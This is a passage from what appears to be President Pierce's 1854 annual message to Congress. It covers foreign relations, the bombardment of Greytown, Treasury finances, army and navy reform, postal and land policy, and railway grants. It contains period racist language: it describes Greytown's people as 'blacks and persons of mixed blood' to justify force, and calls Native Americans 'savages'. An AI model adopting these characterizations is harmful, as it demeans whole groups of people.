their\nstruggle for independence. From that time to the present, with occasional\nslight interruptions, cordial relations of friendship have existed between\nthe Governments and people of the two countries. The kindly sentiments\ncherished alike by both nations have led to extensive social and commercial\nintercourse, which I trust will not be interrupted or checked by any casual\nevent of an apparently unsatisfactory character. The French consul at San\nFrancisco was not long since brought into the United States district court\nat that place by compulsory process as a witness in favor of another\nforeign consul, in violation, as the French Government conceives, of his\nprivileges under our consular convention with France. There being nothing\nin the transaction which could imply any disrespect to France or its\nconsul, such explanation has been made as, I hope, will be satisfactory.\nSubsequently misunderstanding arose on the subject of the French Government\nhaving, as it appeared, abruptly excluded the American minister to Spain\nfrom passing through France on his way from London to Madrid. But that\nGovernment has unequivocally disavowed any design to deny the right of\ntransit to the minister of the United States, and after explanations to\nthis effect he has resumed his journey and actually returned through France\nto Spain. I herewith lay before Congress the correspondence on this subject\nbetween our envoy at Paris and the minister of foreign relations of the\nFrench Government.The position of our affairs with Spain remains as at the close of the last\nsession. Internal agitation, assuming very nearly the character of\npolitical revolution, has recently convulsed that country. The late\nministers were violently expelled from power, and men of very different\nviews in relation to its internal affairs have succeeded. Since this change\nthere has been no propitious opportunity to resume and press on\nnegotiations for the adjustment of serious questions of difficulty between\nthe Spanish Government and the United States. There is reason to believe\nthat our minister will find the present Government more favorably inclined\nthan the preceding to comply with our just demands and to make suitable\narrangements for restoring harmony and preserving peace between the two\ncountries.Negotiations are pending with Denmark to discontinue the practice of\nlevying tolls on our vessels and their cargoes passing through the Sound. I\ndo not doubt that we can claim exemption therefrom as a matter of right. It\nis admitted on all hands that this exaction is sanctioned, not by the\ngeneral principles of the law of nations, but only by special conventions\nwhich most of the commercial nations have entered into with Denmark. The\nfifth article of our treaty of 1826 with Denmark provides that there shall\nnot be paid on the vessels of the United States and their cargoes when\npassing through the Sound higher duties than those of the most favored\nnations. This may be regarded as an implied agreement to submit to the\ntolls during the continuance of the treaty, and consequently may embarrass\nthe assertion of our right to be released therefrom. There are also other\nprovisions in the treaty which ought to be modified. It was to remain in\nforce for ten years and until one year after either party should give\nnotice to the other of intention to terminate it. I deem it expedient that\nthe contemplated notice should be given to the Government of Denmark.The naval expedition dispatched about two years since for the purpose of\nestablishing relations with the Empire of Japan has been ably and\nskillfully conducted to a successful termination by the officer to whom it\nwas intrusted. A treaty opening certain of the ports of that populous\ncountry has been negotiated, and in order to give full effect thereto it\nonly remains to exchange ratifications and adopt requisite commercial\nregulations.The treaty lately concluded between the United States and Mexico settled\nsome of our most embarrassing difficulties with that country, but numerous\nclaims upon it for wrongs and injuries to our citizens remained unadjusted,\nand many new cases have been recently added to the former list of\ngrievances. Our legation has been earnest in its endeavors to obtain from\nthe Mexican Government a favorable consideration of these claims, but\nhitherto without success. This failure is probably in some measure to be\nascribed to the disturbed condition of that country. It has been my anxious\ndesire to maintain friendly relations with the Mexican Republic and to\ncause its rights and territories to be respected, not only by our citizens,\nbut by foreigners who have resorted to the United States for the purpose of\norganizing hostile expeditions against some of the States of that Republic.\nThe defenseless condition in which its frontiers have been left has\nstimulated lawless adventurers to embark in these enterprises and greatly\nincreased the difficulty of enforcing our obligations of neutrality.\nRegarding it as my solemn duty to fulfill efficiently these obligations not\nonly toward Mexico, but other foreign nations, I have exerted all the\npowers with which I am invested to defeat such proceedings and bring to\npunishment those who by taking a part therein violated our laws. The energy\nand activity of our civil and military authorities have frustrated the\ndesigns of those who meditated expeditions of this character except in two\ninstances. One of these, composed of foreigners, was at first countenanced\nand aided by the Mexican Government itself, it having been deceived as to\ntheir real object. The other, small in number, eluded the vigilance of the\nmagistrates at San Francisco and succeeded in reaching the Mexican\nterritories; but the effective measures taken by this Government compelled\nthe abandonment of the undertaking.The commission to establish the new line between the United States and\nMexico, according to the provisions of the treaty of the 30th of December\nlast, has been organized, and the work is already commenced.Our treaties with the Argentine Confederation and with the Republics of\nUruguay and Paraguay secure to us the free navigation of the river La Plata\nand some of its larger tributaries, but the same success has not attended\nour endeavors to open the Amazon. The reasons in favor of the free use of\nthat river I had occasion to present fully in a former message, and,\nconsidering the cordial relations which have long existed between this\nGovernment and Brazil, it may be expected that pending negotiations will\neventually reach a favorable result.Convenient means of transit between the several parts of a country are not\nonly desirable for the objects of commercial and personal communication,\nbut essential to its existence under one government. Separated, as are the\nAtlantic and Pacific coasts of the United States, by the whole breadth of\nthe continent, still the inhabitants of each are closely bound together by\ncommunity of origin and institutions and by strong attachment to the Union.\nHence the constant and increasing intercourse and vast interchange of\ncommercial productions between these remote divisions of the Republic. At\nthe present time the most practicable and only, commodious routes for\ncommunication between them are by the way of the isthmus of Central\nAmerica. It is the duty of the Government to secure these avenues against\nall danger of interruption.In relation to Central America, perplexing questions existed between the\nUnited States and Great Britain at the time of the cession of California.\nThese, as well as questions which subsequently arose concerning\ninteroceanic communication across the Isthmus, were, as it was supposed,\nadjusted by the treaty of April 19, 1850, but, unfortunately, they have\nbeen reopened by serious misunderstanding as to the import of some or its\nprovisions, a readjustment of which is now under consideration. Our\nminister at London has made strenuous efforts to accomplish this desirable\nobject, but has not yet found it possible to bring the negotiations to a\ntermination.As incidental to these questions, I deem it proper to notice an occurrence\nwhich happened in Central America near the close of the last session of\nCongress. So soon as the necessity was perceived of establishing\ninteroceanic communications across the Isthmus a company was organized,\nunder the authority of the State of Nicaragua, but composed for the most\npart of citizens of the United States, for the purpose of opening such a\ntransit way by the river San Juan and Lake Nicaragua, which soon became an\neligible and much used route in the transportation of our citizens and\ntheir property between the Atlantic and Pacific. Meanwhile, and in\nanticipation of the completion and importance of this transit way, a number\nof adventurers had taken possession of the old Spanish port at the mouth of\nthe river San Juan in open defiance of the State or States of Central\nAmerica, which upon their becoming independent had rightfully succeeded to\nthe local sovereignty and jurisdiction of Spain. These adventurers\nundertook to change the name of the place from San Juan del Norte to\nGreytown, and though at first pretending to act as the subjects of the\nfictitious sovereign of the Mosquito Indians, they subsequently repudiated\nthe control of any power whatever, assumed to adopt a distinct political\norganization, and declared themselves an independent sovereign state. If at\nsome time a faint hope was entertained that they might become a stable and\nrespectable community, that hope soon vanished. They proceeded to assert\nunfounded claims to civil jurisdiction over Punta Arenas, a position on the\nopposite side of the river San Juan, which was in possession, under a title\nwholly independent of them, of citizens of the United States interested in\nthe Nicaragua Transit Company, and which was indispensably necessary to the\nprosperous operation of that route across the Isthmus. The company resisted\ntheir groundless claims, whereupon they proceeded to destroy some of its\nbuildings and attempted violently to dispossess it.At a later period they organized a strong force for the purpose of\ndemolishing the establishment at Punta Arenas, but this mischievous design\nwas defeated by the interposition of one of our ships of war at that time\nin the harbor of San Juan. Subsequently to this, in May last, a body of men\nfrom Greytown crossed over to Punta Arenas, arrogating authority to arrest\non the charge of murder a captain of one of the steamboats of the Transit\nCompany. Being well aware that the claim to exercise jurisdiction there\nwould be resisted then, as it had been on previous occasions, they went\nprepared to assert it by force of arms. Our minister to Central America\nhappened to be present on that occasion. Believing that the captain of the\nsteamboat was innocent (for he witnessed the transaction on which the\ncharge was founder), and believing also that the intruding party, having no\njurisdiction over the place where they proposed to make the arrest, would\nencounter desperate resistance if they persisted in their purpose, he\ninterposed, effectually, to prevent violence and bloodshed. The American\nminister afterwards visited Greytown, and whilst he was there a mob,\nincluding certain of the so-called public functionaries of the place,\nsurrounded the house in which he was, avowing that they had come to arrest\nhim by order of some person exercising the chief authority. While parleying\nwith them he was wounded by a missile from the crowd. A boat dispatched\nfrom the American steamer Northern Light to release him from the perilous\nsituation in which he was understood to be was fired into by the town guard\nand compelled to return. These incidents, together with the known character\nof the population of Greytown and their excited state, induced just\napprehensions that the lives and property of our citizens at Punta Arenas\nwould be in imminent danger after the departure of the steamer, with her\npassengers, for New York, unless a guard was left for their protection. For\nthis purpose, and in order to insure the safety of passengers and property\npassing over the route, a temporary force was organized, at considerable\nexpense to the United States, for which provision was made at the last\nsession of Congress.This pretended community, a heterogeneous assemblage gathered from various\ncountries, and composed for the most part of blacks and persons of mixed\nblood, had previously given other indications of mischievous and dangerous\npropensities. Early in the same month property was clandestinely abstracted\nfrom the depot of the Transit Company and taken to Greytown. The plunderers\nobtained shelter there and their pursuers were driven back by its people,\nwho not only protected the wrongdoers and shared the plunder, but treated\nwith rudeness and violence those who sought to recover their property.Such, in substance, are the facts submitted to my consideration, and proved\nby trustworthy evidence. I could not doubt that the case demanded the\ninterposition of this Government. Justice required that reparation should\nbe made for so many and such gross wrongs, and that a course of insolence\nand plunder, tending directly to the insecurity of the lives of numerous\ntravelers and of the rich treasure belonging to our citizens passing over\nthis transit way, should be peremptorily arrested. Whatever it might be in\nother respects, the community in question, in power to do mischief, was not\ndespicable. It was well provided with ordnance, small arms, and ammunition,\nand might easily seize on the unarmed boats, freighted with millions of\nproperty, which passed almost daily within its reach. It did not profess to\nbelong to any regular government, and had, in fact, no recognized\ndependence on or connection with anyone to which the United States or their\ninjured citizens might apply for redress or which could be held responsible\nin any way for the outrages committed. Not standing before the world in the\nattitude of an organized political society, being neither competent to\nexercise the rights nor to discharge the obligations of a government, it\nwas, in fact, a marauding establishment too dangerous to be disregarded and\ntoo guilty to pass unpunished, and yet incapable of being treated in any\nother way than as a piratical resort of outlaws or a camp of savages\ndepredating on emigrant trains or caravans and the frontier settlements of\ncivilized states.Seasonable notice was given to the people of Greytown that this Government\nrequired them to repair the injuries they had done to our citizens and to\nmake suitable apology for their insult of our minister, and that a ship of\nwar would be dispatched thither to enforce compliance with these demands.\nBut the notice passed unheeded. Thereupon a commander of the Navy, in\ncharge of the sloop of war Cyane, was ordered to repeat the demands and to\ninsist upon a compliance therewith. Finding that neither the populace nor\nthose assuming to have authority over them manifested any disposition to\nmake the required reparation, or even to offer excuse for their conduct, he\nwarned them by a public proclamation that if they did not give satisfaction\nwithin a time specified he would bombard the town. By this procedure he\nafforded them opportunity to provide for their personal safety. To those\nalso who desired to avoid loss of property in the punishment about to be\ninflicted on the offending town he furnished the means of removing their\neffects by the boats of his own ship and of a steamer which he procured and\ntendered to them for that purpose. At length, perceiving no disposition on\nthe part of the town to comply with his requisitions, he appealed to the\ncommander of Her Britannic Majesty's schooner Bermuda, who was seen to have\nintercourse and apparently much influence with the leaders among them, to\ninterpose and persuade them to take some course calculated to save the\nnecessity of resorting to the extreme measure indicated in his\nproclamation; but that officer, instead of acceding to the request, did\nnothing more than to protest against the contemplated bombardment. No steps\nof any sort were taken by the people to give the satisfaction required. No\nindividuals, if any there were, who regarded themselves as not responsible\nfor the misconduct of the community adopted any means to separate\nthemselves from the fate of the guilty. The several charges on which the\ndemands for redress were founded had been publicly known to all for some\ntime, and were again announced to them. They did not deny any of these\ncharges; they offered no explanation, nothing in extenuation of their\nconduct, but contumaciously refused to hold any intercourse with the\ncommander of the Cyane. By their obstinate silence they seemed rather\ndesirous to provoke chastisement than to escape it. There is ample reason\nto believe that this conduct of wanton defiance on their part is imputable\nchiefly to the delusive idea that the American Government would be deterred\nfrom punishing them through fear of displeasing a formidable foreign power,\nwhich they presumed to think looked with complacency upon their aggressive\nand insulting deportment toward the United States. The Cyane at length\nfired upon the town. Before much injury had been done the fire was twice\nsuspended in order to afford opportunity for an arrangement, but this was\ndeclined. Most of the buildings of the place, of little value generally,\nwere in the sequel destroyed, but, owing to the considerate precautions\ntaken by our naval commander, there was no destruction of life.When the Cyane was ordered to Central America, it was confidently hoped and\nexpected that no occasion would arise for \"a resort to violence and\ndestruction of property and loss of life.\" Instructions to that effect were\ngiven to her commander; and no extreme act would have been requisite had\nnot the people themselves, by their extraordinary conduct in the affair,\nfrustrated all the possible mild measures for obtaining satisfaction. A\nwithdrawal from the place, the object of his visit entirely defeated, would\nunder the circumstances in which the commander of the Cyane found himself\nhave been absolute abandonment of all claim of our citizens for\nindemnification and submissive acquiescence in national indignity. It would\nhave encouraged in these lawless men a spirit of insolence and rapine most\ndangerous to the lives and property of our citizens at Punta Arenas, and\nprobably emboldened them to grasp at the treasures and valuable merchandise\ncontinually passing over the Nicaragua route. It certainly would have been\nmost satisfactory to me if the objects of the Cyane's mission could have\nbeen consummated without any act of public force, but the arrogant\ncontumacy of the offenders rendered it impossible to avoid the alternative\neither to break up their establishment or to leave them impressed with the\nidea that they might persevere with impunity in a career of insolence and\nplunder.This transaction has been the subject of complaint on the part of some\nforeign powers, and has been characterized with more of harshness than of\njustice. If comparisons were to be instituted, it would not be difficult to\npresent repeated instances in the history of states standing in the very\nfront of modern civilization where communities far less offending and more\ndefenseless than Greytown have been chastised with much greater severity,\nand where not cities only have been laid in ruins, but human life has been\nrecklessly sacrificed and the blood of the innocent made profusely to\nmingle with that of the guilty.Passing from foreign to domestic affairs, your attention is naturally\ndirected to the financial condition of the country, always a subject of\ngeneral interest. For complete and exact information regarding the finances\nand the various branches of the public service connected therewith I refer\nyou to the report of the Secretary of the Treasury, from which it will\nappear that the amount of revenue during the last fiscal year from all\nsources was $73,549,705, and that the public expenditures for the same\nperiod, exclusive of payments on account of the public debt, amounted to\n$51, 018,249. During the same period the payments made in redemption of the\npublic debt, including interest and premium, amounted to $24,336,380. To\nthe sum total of the receipts of that year is to be added a balance\nremaining in the Treasury at the commencement thereof, amounting to\n$21,942,892; and at the close of the same year a corresponding balance,\namounting to $20,137,967, of receipts above expenditures also remained in\nthe Treasury. Although, in the opinion of the Secretary of the Treasury,\nthe receipts of the current fiscal year are not likely to equal in amount\nthose of the last, yet they will undoubtedly exceed the amount of\nexpenditures by at least $15,000,000. I shall therefore continue to direct\nthat the surplus revenue be applied, so far as it can be judiciously and\neconomically done, to the reduction of the public debt, the amount of which\nat the commencement of the last fiscal year was $67,340,628; of which there\nhad been paid on the 20th day of November, 1854, the sum of $22,365,172,\nleaving a balance of outstanding public debt of only $44,975,456,\nredeemable at different periods within fourteen years. There are also\nremnants of other Government stocks, most of which are already due, and on\nwhich the interest has ceased, but which have not yet been presented for\npayment, amounting to $233,179. This statement exhibits the fact that the\nannual income of the Government greatly exceeds the amount of its public\ndebt, which latter remains unpaid only because the time of payment has not\nyet matured, and it can not be discharged at once except at the option of\npublic creditors, who prefer to retain the securities of the United States;\nand the other fact, not less striking, that the annual revenue from all\nsources exceeds by many millions of dollars the amount needed for a prudent\nand economical administration of the Government.The estimates presented to Congress from the different Executive\nDepartments at the last session amounted to $38,406,581 and the\nappropriations made to the sum of $58,116,958. Of this excess of\nappropriations over estimates, however, more than twenty millions was\napplicable to extraordinary objects, having no reference to the usual\nannual expenditures. Among these objects was embraced ten millions to meet\nthe third article of the treaty between the United States and Mexico; so\nthat, in fact, for objects of ordinary expenditure the appropriations were\nlimited to considerably less than $40,000,000. I therefore renew my\nrecommendation for a reduction of the duties on imports. The report of the\nSecretary of the Treasury presents a series of tables showing the operation\nof the revenue system for several successive years; and as the general\nprinciple of reduction of duties with a view to revenue, and not\nprotection, may now be regarded as the settled policy of the country, I\ntrust that little difficulty will be encountered in settling the details of\na measure to that effect.In connection with this subject I recommend a change in the laws, which\nrecent experience has shown to be essential to the protection of the\nGovernment. There is no express provision of law requiring the records and\npapers of a public character of the several officers of the Government to\nbe left in their offices for the use of their successors, nor any provision\ndeclaring it felony on their part to make false entries in the books or\nreturn false accounts. In the absence of such express provision by law, the\noutgoing officers in many instances have claimed and exercised the right to\ntake into their own possession important books and papers, on the ground\nthat these were their private property, and have placed them beyond the\nreach of the Government. Conduct of this character, brought in several\ninstances to the notice of the present Secretary of the Treasury, naturally\nawakened his suspicion, and resulted in the disclosure that at four\nports--namely, Oswego, Toledo, Sandusky, and Milwaukee--the Treasury had,\nby false entries, been defrauded within the four years next preceding\nMarch, 1853, of the sum of $198,000. The great difficulty with which the\ndetection of these frauds has been attended, in consequence of the\nabstraction of books and papers by the retiring officers, and the facility\nwith which similar frauds in the public service may be perpetrated render\nthe necessity of new legal enactments in the respects above referred to\nquite obvious. For other material modifications of the revenue laws which\nseem to me desirable, I refer you to the report of the Secretary of the\nTreasury. That report and the tables which accompany it furnish ample\nproofs of the solid foundation on which the financial security of the\ncountry rests and of the salutary influence of the independent-treasury\nsystem upon commerce and all monetary operations.The experience of the last year furnishes additional reasons, I regret to\nsay, of a painful character, for the recommendation heretofore made to\nprovide for increasing the military force employed in the Territory\ninhabited by the Indians. The settlers-on the frontier have suffered much\nfrom the incursions of predatory bands, and large parties of emigrants to\nour Pacific possessions have been massacred with impunity. The recurrence\nof such scenes can only be prevented by teaching these wild tribes the\npower of and their responsibility to the United States. From the garrisons\nof our frontier posts it is only possible to detach troops in small bodies;\nand though these have on all occasions displayed a gallantry and a stern\ndevotion to duty which on a larger field would have commanded universal\nadmiration, they have usually suffered severely in these conflicts with\nsuperior numbers, and have sometimes been entirely sacrificed. All the\ndisposable force of the Army is already employed on this service, and is\nknown to be wholly inadequate to the protection which should be afforded.\nThe public mind of the country has been recently shocked by savage\natrocities committed upon defenseless emigrants and border settlements, and\nhardly less by the unnecessary destruction of valuable lives where\ninadequate detachments of troops have undertaken to furnish the needed aid.\nWithout increase of the military force these scenes will be repeated, it is\nto be feared, on a larger scale and with more disastrous consequences.\nCongress, I am sure, will perceive that the plainest duties and\nresponsibilities of Government are involved in this question, and I doubt\nnot that prompt action may be confidently anticipated when delay must be\nattended by such fearful hazards.The bill of the last session providing for an increase of the pay of the\nrank and file of the Army has had beneficial results, not only in\nfacilitating enlistments, but in obvious improvement in the class of men\nwho enter the service. I regret that corresponding consideration was not\nbestowed on the officers, who, in view of their character and services and\nthe expenses to which they are necessarily subject, receive at present what\nis, in my judgment, inadequate compensation.The valuable services constantly rendered by the Army and its inestimable\nimportance as the nucleus around which the volunteer forces of the nation\ncan promptly gather in the hour of danger, sufficiently attest the wisdom\nof maintaining a military peace establishment; but the theory of our system\nand the wise practice under it require that any proposed augmentation in\ntime of peace be only commensurate with our extended limits and frontier\nrelations. While scrupulously adhering to this principle, I find in\nexisting circumstances a necessity for increase of our military force, and\nit is believed that four new regiments, two of infantry and two of mounted\nmen, will be sufficient to meet the present exigency. If it were necessary\ncarefully to weigh the cost in a case of such urgency, it would be shown\nthat the additional expense would be comparatively light.With the increase of the numerical force of the Army should, I think, be\ncombined certain measures of reform in its organic arrangement and\nadministration. The present organization is the result of partial\nlegislation often directed to special objects and interests; and the laws\nregulating rank and command, having been adopted many years ago from the\nBritish code, are not always applicable to our service. It is not\nsurprising, therefore, that the system should be deficient in the symmetry\nand simplicity essential to the harmonious working of its several parts,\nand require a careful revision.The present organization, by maintaining large staff corps or departments,\nseparates many officers from that close connection with troops and those\nactive duties in the field which are deemed requisite to qualify them for\nthe varied responsibilities of high command. Were the duties of the Army\nstaff mainly discharged by officers detached from their regiments, it is\nbelieved that the special service would be equally well performed and the\ndiscipline and instruction of the Army be improved. While due regard to the\nsecurity of the rights of officers and to the nice sense of honor which\nshould be cultivated among them would seem to exact compliance with the\nestablished rule of promotion in ordinary cases, still it can hardly be\ndoubted that the range of promotion by selection, which is now practically\nconfined to the grade of general officers, might be somewhat extended with\nbenefit to the public service. Observance of the rule of seniority\nsometimes leads, especially in time of peace, to the promotion of officers\nwho, after meritorious and even distinguished service, may have been\nrendered by age or infirmity incapable of performing active duty, and whose\nadvancement, therefore, would tend to impair the efficiency of the Army.\nSuitable provision for this class of officers, by the creation of a retired\nlist, would remedy the evil without wounding the just pride of men who by\npast services have established a claim to high consideration. In again\ncommending this measure to the favorable consideration of Congress I would\nsuggest that the power of placing officers on the retired list be limited\nto one year. The practical operation of the measure would thus be tested,\nand if after the lapse of years there should be occasion to renew the\nprovision it can be reproduced with any improvements which experience may\nindicate. The present organization of the artillery into regiments is\nliable to obvious objections. The service of artillery is that of\nbatteries, and an organization of batteries into a corps of artillery would\nbe more consistent with the nature of their duties. A large part of the\ntroops now called artillery are, and have been, on duty as infantry, the\ndistinction between the two arms being merely nominal. This nominal\nartillery in our service is disproportionate to the whole force and greater\nthan the wants of the country demand. I therefore commend the\ndiscontinuance of a distinction which has no foundation in either the arms\nused or the character of the service expected to be performed.In connection with the proposition for the increase of the Army, I have\npresented these suggestions with regard to certain measures of reform as\nthe complement of a system which would produce the happiest results from a\ngiven expenditure, and which, I hope, may attract the early attention and\nbe deemed worthy of the approval of Congress.The recommendation of the Secretary of the Navy having reference to more\nample provisions for the discipline and general improvement in the\ncharacter of seamen and for the reorganization and gradual increase of the\nNavy I deem eminently worthy of your favorable consideration. The\nprinciples which have controlled our policy in relation to the permanent\nmilitary force by sea and land are sound, consistent with the theory of our\nsystem, and should by no means be disregarded. But, limiting the force to\nthe objects particularly set forth in the preceding part of this message,\nwe should not overlook the present magnitude and prospective extension of\nour commercial marine, nor fail to give due weight to the fact that besides\nthe 2,000 miles of Atlantic seaboard we have now a Pacific coast stretching\nfrom Mexico to the British possessions in the north, teeming with wealth\nand enterprise and demanding the constant presence of ships of war. The\naugmentation of the Navy has not kept pace with the duties properly and\nprofitably assigned to it in time of peace, and it is inadequate for the\nlarge field of its operations, not merely in the present, but still more in\nthe progressively increasing exigencies of the commerce of the United\nStates. I cordially approve of the proposed apprentice system for our\nnational vessels recommended by the Secretary of the Navy. The occurrence\nduring the last few months of marine disasters of the most tragic nature,\ninvolving great loss of human life, has produced intense emotions of\nsympathy and sorrow throughout the country. It may well be doubted whether\nall these calamitous events are wholly attributable to the necessary and\ninevitable dangers of the sea. The merchants, mariners, and shipbuilders of\nthe United States are, it is true, unsurpassed in far-reaching enterprise,\nskill, intelligence, and courage by any others in the world. But with the\nincreasing amount of our commercial tonnage in the aggregate and the larger\nsize and improved equipment of the ships now constructed a deficiency in\nthe supply of reliable seamen begins to be very seriously felt. The\ninconvenience may perhaps be met in part by due regulation for the\nintroduction into our merchant ships of indented apprentices, which, while\nit would afford useful and eligible occupation to numerous young men, would\nhave a tendency to raise the character of seamen as a class. And it is\ndeserving of serious reflection whether it may not be desirable to revise\nthe existing laws for the maintenance of discipline at sea, upon which the\nsecurity of life and property on the ocean must to so great an extent\ndepend. Although much attention has already been given by Congress to the\nproper construction and arrangement of steam vessels and all passenger\nships, still it is believed that the resources of science and mechanical\nskill in this direction have not been exhausted. No good reason exists for\nthe marked distinction which appears upon our statutes between the laws for\nprotecting life and property at sea and those for protecting them on land.\nIn most of the States severe penalties are provided to punish conductors of\ntrains, engineers, and others employed in the transportation of persons by\nrailway or by steamboats on rivers. Why should not the same principle be\napplied to acts of insubordination, cowardice, or other misconduct on the\npart of masters and mariners producing injury or death to passengers on the\nhigh seas, beyond the jurisdiction of any of the States, and where such\ndelinquencies can be reached only by the power of Congress? The whole\nsubject is earnestly commended to your consideration.The report of the Postmaster-General, to which you are referred for many\ninteresting details in relation to this important and rapidly extending\nbranch of the public service, shows that the expenditure of the year ending\nJune 30, 1854, including $133,483 of balance due to foreign offices,\namounted to $8,710,907. The gross receipts during the same period amounted\nto $6,955,586, exhibiting an expenditure over income of $1,755,321 and a\ndiminution of deficiency as compared with the last year of $361,756. The\nincrease of the revenue of the Department for the year ending June 30,\n1854, over the preceding year was $970,399. No proportionate increase,\nhowever, can be anticipated for the current year, in consequence of the act\nof Congress of June 23, 1854, providing for increased compensation to all\npostmasters. From these statements it is apparent that the Post-Office\nDepartment, instead of defraying its expenses according to the design at\nthe time of its creation, is now, and under existing laws must continue to\nbe, to no small extent a charge upon the general Treasury. The cost of mail\ntransportation during the year ending June 30, 1854, exceeds the cost of\nthe preceding year by $495,074. I again call your attention to the subject\nof mail transportation by ocean steamers, and commend the suggestions of\nthe Postmaster General to your early attention.During the last fiscal year 11,070,935 acres of the public lands have been\nsurveyed and 8,190,017 acres brought into market. The number of acres sold\nis 7,035,735 and the amount received therefor $9,285,533. The aggregate\namount of lands sold, located under military scrip and land warrants,\nselected as swamp lands by States, and by locating under grants for roads\nis upward of 23,000,000 acres. The increase of lands sold over the previous\nyear is about 6,000,000 acres, and the sales during the first two quarters\nof the current year present the extraordinary result of five and a half\nmillions sold, exceeding by nearly 4,000,000 acres the sales of the\ncorresponding quarters of the last year.The commendable policy of the Government in relation to setting apart\npublic domain for those who have served their country in time of war is\nillustrated by the fact that since 1790 no less than 30,000,000 acres have\nbeen applied to this object.The suggestions which I submitted in my annual message of last year in\nreference to grants of land in aid of the construction of railways were\nless full and explicit than the magnitude of the subject and subsequent\ndevelopments would seem to render proper and desirable. Of the soundness of\nthe principle then asserted with regard to the limitation of the power of\nCongress I entertain no doubt, but in its application it is not enough that\nthe value of lands in a particular locality may be enhanced; that, in fact,\na larger amount of money may probably be received in a given time for\nalternate sections than could have been realized for all the sections\nwithout the impulse and influence of the proposed improvements. A prudent\nproprietor looks beyond limited sections of his domain, beyond present\nresults to the ultimate effect which a particular line of policy is likely\nto produce upon all his possessions and interests. The Government, which is\ntrustee in this matter for the people of the States, is bound to take the\nsame wise and comprehensive view. Prior to and during the last session of\nCongress upward of 30,000,000 acres of land were withdrawn from public sale\nwith a view to applications for grants of this character pending before\nCongress. A careful review of the whole subject led me to direct that all\nsuch orders be abrogated and the lands restored to market, and instructions\nwere immediately given to that effect. The applications at the last session\ncontemplated the construction of more than 5,000 miles of road and grants\nto the amount of nearly 20,000,000 acres of the public domain. Even\nadmitting the right on the part of Congress to be unquestionable, is it\nquite clear that the proposed grants would be productive of good, and not\nevil? The different projects are confined for the present to eleven States\nof this Union and one Territory. The reasons assigned for the grants show\nthat it is proposed to put the works speedily in process of construction.\nWhen we reflect that since the commencement of the construction of railways\nin the United States, stimulated, as they have been, by the large dividends\nrealized from the earlier works over the great thoroughfares and between\nthe most important points of commerce and population, encouraged by State\nlegislation, and pressed forward by the amazing energy of private\nenterprise, only 17,000 miles have been completed in all the States in a\nquarter of a century; when we see the crippled condition of many works\ncommenced and prosecuted upon what were deemed to be sound principles and\nsafe calculations; when we contemplate the enormous absorption of capital\nwithdrawn from the ordinary channels of business, the extravagant rates of\ninterest at this moment paid to continue operations, the bankruptcies, not\nmerely in money but in character, and the inevitable effect upon finances\ngenerally, can it be doubted that the tendency is to run to excess in this\nmatter? Is it wise to augment this excess by encouraging hopes of sudden\nwealth expected to flow from magnificent schemes dependent upon the action\nof Congress? Does the spirit which has produced such results need to be\nstimulated or checked? Is it not the better rule to leave all these works\nto private enterprise, regulated and, when expedient, aided by the\ncooperation of States? If constructed by private capital the stimulant and\nthe check go together and furnish a salutary restraint against speculative\nschemes and extravagance. But it is manifest that with the most effective\nguards there is danger of going too fast and too far. We may well pause\nbefore a proposition contemplating a simultaneous movement for the\nconstruction of railroads which in extent will equal, exclusive of the\ngreat Pacific road and all its branches, nearly one-third of the entire\nlength of such works now completed in the United States, and which can not\ncost with equipments less than $150,000,000. The dangers likely to result\nfrom combinations of interests of this character can hardly be\noverestimated. But independently of these considerations, where is the\naccurate knowledge, the comprehensive intelligence, which shall\ndiscriminate between the relative claims of these twenty eight proposed\nroads in eleven States and one Territory? Where will you begin and where\nend? If to enable these companies to execute their proposed works it is\nnecessary that the aid of the General Government be primarily given, the\npolicy will present a problem so comprehensive in its bearings and so\nimportant to our political and social well-being as to claim in\nanticipation the severest analysis. Entertaining these views, I recur with\nsatisfaction to the experience and action of the last session of Congress\nas furnishing assurance that the subject will not fail to elicit a careful\nreexamination and rigid scrutiny. It was my intention to present on this\noccasion some suggestions regarding internal improvements by the General\nGovernment, which want of time at the close of the last session prevented\nmy submitting on the return to the House of Representatives with objections\nof the bill entitled \"An act making appropriations for the repair,\npreservation, and completion of certain public works heretofore commenced\nunder the authority of law;\" but the space in this communication already\noccupied with other matter of immediate public exigency constrains me to\nreserve that subject for a special message, which will be transmitted to\nthe two Houses of Congress at an early day. The judicial establishment of\nthe United States requires modification, and certain reforms in the manner\nof conducting the legal business of the Government are also much needed;\nbut as I have addressed you upon both of these subjects at length before, I\nhave only to call your attention to the suggestions then made.My former recommendations in relation to suitable provision for various\nobjects of deep interest to the inhabitants of the District of Columbia are\nrenewed. Many of these objects partake largely of a national character, and\nare important independently of their relation to the prosperity of the only\nconsiderable organized community in the Union entirely unrepresented in\nCongress.I have thus presented suggestions on such subjects as appear to me to be of\nparticular interest or importance, and therefore most worthy of\nconsideration during the short remaining period allotted to the labors of\nthe present Congress.Our forefathers of the thirteen united colonies, in acquiring their\nindependence and in rounding this Republic of the United States of America,\nhave devolved upon us, their descendants, the greatest and the most noble\ntrust ever committed to the hands of man, imposing upon all, and especially\nsuch as the public will may have invested for the time being with political\nfunctions, the most sacred obligations. We have to maintain inviolate the\ngreat doctrine of the inherent right of popular self-government; to\nreconcile the largest liberty of the individual citizen with complete\nsecurity of the public order; to render cheerful obedience to the laws of\nthe land, to unite in enforcing their execution, and to frown indignantly\non all combinations to resist them; to harmonize a sincere and ardent\ndevotion to the institutions of religions faith with the most universal\nreligious toleration; to preserve the rights of all by causing each to\nrespect those of the other; to carry forward every social improvement to\nthe uttermost limit of human perfectibility, by the free action of mind\nupon mind, not by the obtrusive intervention of misapplied force; to uphold\nthe integrity and guard the limitations of our organic law; to preserve\nsacred from all touch of usurpation, as the very palladium of our political\nsalvation, the reserved rights and powers of the several States and of the\npeople; to cherish with loyal fealty and devoted affection this Union, as\nthe only sure foundation on which the hopes of civil liberty rest; to\nadminister government with vigilant integrity and rigid economy; to\ncultivate peace and friendship with foreign nations, and to demand and\nexact equal justice from all, but to do wrong to none; to eschew\nintermeddling with the national policy and the domestic repose of other\ngovernments, and to repel it from our own; never to shrink from war when\nthe rights and the honor of the country call us to arms, but to cultivate\nin preference the arts of peace, seek enlargement of the rights of\nneutrality, and elevate and liberalize the intercourse of nations; and by\nsuch just and honorable means, and such only, whilst exalting the condition\nof the Republic, to assure to it the legitimate influence and the benign\nauthority of a great example amongst all the powers of Christendom.Under the solemnity of these convictions the blessing of Almighty God is\nearnestly invoked to attend upon your deliberations and upon all the\ncounsels and acts of the Government, to the end that, with common zeal and\ncommon efforts, we may, in humble submission to the divine will, cooperate\nfor the promotion of the supreme good of these United States.", 
